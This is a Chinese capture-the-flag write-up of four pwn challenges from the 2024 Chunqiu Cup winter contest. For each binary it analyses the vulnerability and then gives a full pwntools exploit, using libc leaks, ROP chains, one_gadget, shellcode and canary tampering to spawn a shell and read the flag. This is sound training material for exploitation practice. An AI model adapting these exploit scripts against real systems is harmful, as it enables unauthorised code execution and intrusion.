1、bypass
查看主函数,发现打开了一个文件.BYPASS,并且使用:将内容分离,我们直接直接新建一个用于我们复现
‘
我们查看下面逻辑,发现我们输入的不是1的时候会将puts的真实地址打印出来,从而拿到libc的基址,但是我们必须输入四个字节
然后我们输入0会进入sub_400978函数中
我们查看sub_400978函数,发现会进行两次的输入,但是每一次输入都要带上标识,第一个是key,第二个是val
我们仔细观察可发现s、s2、v4是连接在一起的,并在每一次输入都会将s的数值,赋值发哦s2、v4中,并且for循环没有限制,这样我们就可以造成数组越界从而覆盖到返回地址
但是我们得注意i的值,得覆盖为正确的数值,i=512+14+5=0x213,加5是因为标识在5个字节,这里是0x215,是因为我们运行完了加1
之后就可写rop或者onegadget都可以的,我就写one_gadget
完整的exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
flag=1
url='139.155.126.78'
port=25057
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil(b'xff')[-4:].ljust(4,b'x00'))
uu64 = lambda : u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu64_h= lambda : u64(p.recvuntil(('x55','x56'))[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
sd(b'2222')
ru(b'Invalidn')
libc.address=uu64()-libc.sym['puts']
lg('libc.address')
sd(p32(0))
pay=b'KEY: '+ b'a'*19+p8(0x14)+p8(0x2)+b'c'*8+p64(0x4f302+libc.address)
sd(pay)
pay=b'VAL: '+b'b'*(512-5)
gdb.attach(p,'b *0x400B0Fnc')
pause()
sd(pay)
it()
gender_simulation
首先我们查看下保护,发现没有开pie和canary
分析程序逻辑,发现是一个c++写的程序,我猜测是一个继承关系的程序
这个程序有点没搞懂逻辑,我只能一个一个功能点去调试,我们还发一个栈溢出的函数,那我思路就清晰了
我们直接调试,在Girl中的choose函数中,对将我们输入的内容,调用v17+8的位置
我们发现再Girl:gender中自身地址加8的位置进行调用,而加八的位置就是我们输入后门函数的地址
我们直接修改为gender函数的地址,然后写rop链就能拿到shell
完整exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF("./libc.so.6")
flag=1
url='node5.buuoj.cn'
port=27374
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))
uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
ru('A gift: ')
libc.address=int(rc(14),16)-libc.sym['setvbuf']
lg('libc.address')
sa('2. Girl',str(2))
sa('2. Tomboy',str(2))
backdoor=0x4025E6
sla('If you think you are a boy, please leave your gender certificate',p64(backdoor))
ret=0x000000000040201a #: ret
pop_rdi=0x000000000010f75b+libc.address #: pop rdi ; ret
system=libc.sym['system']
sy_bin_sh=libc.search('/bin/shx00').next()
pay='x00'*(0x10+8)+p64(ret)+p64(pop_rdi)+p64(sy_bin_sh)+p64(system)
gdb.attach(p,'b *0x402634nc')
pause()
sa('If you think you are a shopping bag, please leave your gender certificate',pay)
it()
babyshellcode
查看保护发现,没有canary和pie
分析代码逻辑,首先是init初始化还是,申请了一块可读可写可执行的地址空间,并且泄露给了我们
然后是banner函数,往程序上 name变量处写入0x30的数值
shellcode函数,可以写3个字节的数,然后进行调用
我们调试程序发现,在rsi寄存器存放的是name变量的地址,我们就可写(push rsi;pop rsp;ret)正好是三个字节,调用到name变量,然后我们在往name变量中写一个read函数,往buf里面写值
完整的exp
from pwn import *
elf = ELF("./attachment")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=1
url='139.155.126.78'
port=25057
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil(b'xff')[-4:].ljust(4,b'x00'))
uu64 = lambda : u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu64_h= lambda : u64(p.recvuntil(('x55','x56'))[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
ru(b'gift: ')
buf=int(rc(14),16)
lg('buf')
pop_rdi_rsi=0x00000000004013c9 #: pop rdi ; pop rsi ; ret
mov_edx_ecx=0x00000000004012b1 #: mov edx, ecx ; ret
syscall=0x0000000000401332 #: syscall
pay=p64(pop_rdi_rsi)+p64(0)+p64(buf)+p64(mov_edx_ecx)+p64(syscall)+p64(buf)
sa(b'> ',pay)
shellcode='''
push rsi
pop rsp
ret
'''
gdb.attach(p,'b *0x04013C4nc')
pause()
sa(b'> ',asm(shellcode))
sd(asm(shellcraft.sh()))
it()
rogue_like
首先我们查看下保护,没有开pie但是有canary
首先进入第一场函数,里面有三个函数
1、会在可以在任意地址赋值为0,漏洞点可以将canary的值置为零
2、可以在任意地址赋值
3、查看/proc/self/maps,获得大部分地址
汽车进入第二层函数中,也有三个函数
1、任意地址赋值,但是存在随机数
2、可以在任意地址加5以内,漏洞点存在,可以将alarm的地址加5,变成了syscall
第三层函数
1、可以栈溢出但是存在canary,并且只能溢出两个字节,同时还会关闭close(0)
2、可以泄露地址,但是不存在栈溢出
3、存在off-by-one,可以将rbp最后一个字节置为零
利用思路:
1、首先第一层,我们选择1,将canary进行置零
2、第二层我们现在2,将alarm的地址加5,将其变为syscall的系统调用
3、第三层我们现在3,通过off-by-one,将rbp最后一个字节置零,然后其前面写系统调用
拓展:如何找canary存放的地址,我们可以知道canary是rax, fs:28h进行赋值,而fs是一个段寄存器,我们也可以通gdb进行寻找
最后在偏移0x28的位置找到canary
from pwn import *
elf = ELF("./attachment")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
flag=1
url='139.155.126.78'
port=25057
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil(b'xff')[-4:].ljust(4,b'x00'))
uu64 = lambda : u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu64_h= lambda : u64(p.recvuntil(('x55','x56'))[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
#将canary改为0
sla(b'> ',str(1))
sa(b'!?',str(0x2528))
pop_rdi=0x00000000004013f4 #: pop rdi ; ret
pop_rsi=0x00000000004013f6 #: pop rsi ; ret
pop_rsp=0x00000000004013fa #: pop rsp ; ret
syscall=0x602058
pop_rdx=0x4013f8
ret=0x04007fe
bin_sh=0x4019D7 #在程序中计算偏移得到了
sla(b'> ',str(2))
sa(b'> ',str(5))
sa(b'> ',str(syscall))
payload1=p64(ret)*0x16
rop_chain=p64(pop_rdi)+p64(bin_sh)
rop_chain+=p64(pop_rsi)+p64(0)
rop_chain+=p64(pop_rdx)+p64(0)
rop_chain+=p64(pop_rsp)+p64(syscall)
payload1=payload1+rop_chain
payload1=payload1.ljust(0x100,b'x00')
gdb.attach(p,'b *0x401376nc')
pause()
sla(b'> ',str(3))
sd(payload1)
payload2=b'a'*0x3b #通过read来控制rax,学到了
sd(payload2)
sl('exec 1>&0') #exec 1>&0这段仅有的payload的分析我们可以先引申到linux的EXEC与文件描述符
sleep(1)
sl('cat flag')
it()
原文始发于微信公众号(Undefin3d安全团队):2024春秋杯冬季赛PWN---WriteUp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论